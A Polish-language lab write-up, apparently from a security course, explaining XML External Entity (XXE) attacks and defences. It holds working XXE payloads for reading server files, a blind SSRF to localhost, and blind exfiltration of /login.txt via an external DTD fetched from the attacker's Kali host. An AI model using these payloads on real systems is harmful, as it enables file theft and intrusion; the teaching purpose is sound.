XML External Entity (XXE)
XXE (XML External Entity) to podatność, która występuje, gdy aplikacja przetwarza dane w formacie XML i dopuszcza definicję tzw. zewnętrznych encji. Atakujący może w takim przypadku przesłać specjalnie spreparowany dokument XML zawierający odwołanie do zewnętrznego zasobu, np. pliku systemowego lub adresu URL.
Konsekwęcje ataku:
- ujawnienia poufnych danych z serwera (np. plików konfiguracyjnych lub kluczy),
- wysyłania danych poza organizację (np. do serwera atakującego),
- dostępu do usług wewnętrznych (atak typu SSRF),
- lub nawet zablokowania działania aplikacji poprzez przeciążenie parsera (atak DoS).
Jak się zabezpieczyć?
- wyłączyć przetwarzanie zewnętrznych encji w parserach XML,
- nie używać niebezpiecznych funkcji XML, takich jak DTD,
- walidować dane wejściowe, szczególnie gdy aplikacja przyjmuje pliki XML,
- oraz stosować aktualne i bezpieczne biblioteki do parsowania XML.
Przykłady testów
- Odczyt pliku z serwera za pomocą ataku XXE
Zadanie: Uzyskanie dostępu do pliku znajdującego się na serwerze poprzez wykorzystanie podatności XXE
Szczegółowy opis: Wprowadzić do formularza XML z deklaracją zewnętrznej encji, która wskazuje lokalny plik serwera. Następnie przesłać formularz, aby aplikacja przetworzyła dokument XML i wstawiła zawartość pliku do znacznika "heading". Odczytać odpowiedź aplikacji i uzyskać w ten sposób poufne dane z systemu plików serwera.
Target: [Target_IP]
Nazwa pliku do pozyskania clientData.txt
Strona [Target_IP] zawiera formularz, który przyjmuje dane w formacie XML — np. dane z formularza kontaktowego lub dokumentu. W tym przypadku użyto parsera XML (czyli programu, który odczytuje strukturę XML i ją interpretuje).XML Payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE test [<!ENTITY xxe SYSTEM "/clientData.txt"> ]> <note> <to>Test1</to> <from>Test2</from> <heading>&xxe;</heading> <body>Test2</body> </note>Rezultat: Jeśli plik istnieje i parser jest podatny, w odpowiedzi zobaczysz coś takiego:- Name
<!DOCTYPE test [...]>- Type
- definiuje encję xxe jako odwołanie do pliku /clientData.txt
- Description
- Name
<heading>&xxe;</heading>- Type
- Najwaniejsze! W tym miejscu zostanie wstawiona zawartość tego pliku
- Description
- Name
pozostałe tagi (<to>, <from>, <body>)- Type
- są tylko wypełniaczami — ich wartości nie wpływają na atak
- Description
Parser, przetwarzając XML, zamieni &xxe; na treść pliku /clientData.txt, ponieważ tak zadeklarowałeś. Dzięki temu zawartość pliku pojawi się w odpowiedzi serwera w miejscu
... . Większość parserów XML oczekuje, że otrzyma poprawny i kompletny dokument XML, z jednym głównym (root) tagiem, zawierającym dane. Tutaj note to główny element, a to, from, heading, body to jego pod-elementy. Gdyby tego nie było, dokument XML byłby niepoprawny — parser by go odrzucił. UWAGA: W ataku XXE powinieneś po kolei testować, który znacznik "body, heading ..." w dokumencie XML jest przetwarzany i wyświetlany w odpowiedzi przez aplikację — bo tylko tam warto umieścić &xxe;.parser XML odczytał plik /clientData.txt z systemu plików serwera, zawartość pliku została automatycznie wstawiona w miejsce znacznika "heading", serwer przetworzył cały dokument XML i odesłał go w odpowiedzi, dzięki czemu zawartość pliku była widoczna w przeglądarce użytkownika.XML Payload
<note> <to>Test1</to> <from>Test2</from> <heading>ABC123|John Smith|Sensitive Data</heading> <body>Test2</body> </note>
- Wykorzystanie podatności XXE do wykonania zapytania SSRF (Blind SSRF)
Zadanie: Wysłanie zapytania HTTP do lokalnego adresu poprzez zewnętrzną encję w XML
Szczegółowy opis: Przy użyciu podatnego pola XML na stronie [Target_IP] wprowadzono dokument z encją wskazującą lokalny adres http://127.0.0.1/solve13.2/. Parser XML zinterpretował encję i wykonał żądanie HTTP w imieniu serwera. Pomimo komunikatu „Error!”, serwer wykonał żądanie, a zadanie zostało automatycznie zaliczone. Celem jest zmuszenie serwera, by w Twoim imieniu wysłał żądanie HTTP do innego serwera lub zasobu, do którego Ty nie masz dostępu.
Target: [Target_IP]
Rezultat: Mimo wyświetlenia komunikatu „Error!”, żądanie HTTP do http://127.0.0.1/solve13.2/ zostało wykonane po stronie serwera. Zadanie zostało automatycznie zaliczone, ponieważ serwer zinterpretował zewnętrzną encję i wysłał żądanie SSRF do wewnętrznego zasobu. Brak widocznej odpowiedzi jest typowy dla tzw. Blind XXE SSRF — efekt działania następuje po stronie serwera bez potwierdzenia w interfejsie użytkownika.Ten payload tworzy zewnętrzną encję ssrf, która odwołuje się do lokalnego zasobu serwera. Parser XML interpretuje encję i wstawia zawartość odpowiedzi z 127.0.0.1/solve13.2 do pola "heading". W tym scenariuszu jednak odpowiedź nie jest widoczna — ale żądanie zostaje wykonane. Co zyskujesz?XML Payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE pjatk [ <!ENTITY ssrf SYSTEM "http://127.0.0.1/solve13.2/"> ]> <note> <to>Tove</to> <from>Jani</from> <heading>&ssrf;</heading> <body>Don't forget me this weekend!</body> </note>- Dostęp do zasobów wewnętrznych (np. API, mikroserwisy, usługi listening tylko na localhost).
- Możliwość eskalacji ataku, np. przesyłania tokenów, zdalnego wykonania komend (jeśli endpoint pozwala).
- Baza pod realne ataki w rzeczywistych systemach, np. uzyskanie AWS metadata, panel admina itd.
- Zaliczenie zadania – bo system zadaniowy tylko sprawdza, czy request trafił pod solve13.2, nie czy go widzisz.
-
Exfiltracja pliku z serwera (Blind XXE)
Zadanie: Odczytanie pliku z systemu plików serwera i przesłanie jego zawartości na serwer Kali.
Cel: Odczyt i exfiltracja poufnego pliku z serwera przy pomocy podatności typu Blind XXE, z wykorzystaniem zewnętrznego pliku DTD oraz mechanizmu php://filter.
Szczegółowy opis: Udostępniony formularz XML na stronie [Target_IP] zawiera podatność typu Blind XXE. Należy przygotować plik xxe.dtd na serwerze Kali, w którym zdefiniowana jest encja %file odczytująca zawartość pliku /login.txt z użyciem filtru php://filter/convert.base64-encode, a także encja %eval, która tworzy żądanie HTTP przesyłające zakodowaną zawartość pliku do serwera Kali. Po przesłaniu odpowiednio przygotowanego dokumentu XML, podatny parser XML przetwarza deklaracje DTD i wykonuje żądanie HTTP, przesyłając zawartość pliku do atakującego.
Target: [Target_IP]
Nazwa pliku do pozyskania /login.txtKroki
1: Utwórz plik xxe.dtd z payloadem DTD (base64 + exfiltracja).
nano xxe.dtd- php://filter/convert.base64-encode/resource= powoduje, że zawartość pliku zostaje zakodowana w base64, ponieważ wykorzystuje wbudowany mechanizm strumieniowy PHP, który przed odczytaniem pliku nakłada filtr convert.base64-encode, automatycznie przekształcając dane binarne lub tekstowe na bezpieczny tekstowy format base64 — umożliwiający ich dalsze przesłanie przez protokoły tekstowe, takie jak HTTP.
3: Uruchom prosty serwer HTTP w tym samym katalogu, gdzie masz xxe.dtd
python3 -m http.server 80- To umożliwi, aby parser XML z podatnej aplikacji mógł pobrać plik xxe.dtd z Twojego komputera Kali.
Krok 4: Skonstruuj i wprowadź payload XML na stronie: [target_IP]
10.65.0.6 to adres Twojej maszyny Kali — zamień go, jeśli Twój adres IP jest inny (możesz sprawdzić ip a).XML Payload
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [<!ENTITY % xxe SYSTEM "http://10.65.0.6/xxe.dtd"> %xxe;]> <note> <to>test2</to> <from>test3</from> <heading>test4</heading> <body>test test</body> </note>Krok 5: Obserwuj ruch na Kali
Rzeczywisty rezultat
W konsoli, gdzie uruchomiłeś http.server, powinieneś zobaczyć zapytanie typu GET o xxe.dtd wygladające tak: "base64_zawartosc_pliku". Na koniec odszyfruj zawartość (base64 → plaintext)
SCREEN: xxs1-scr1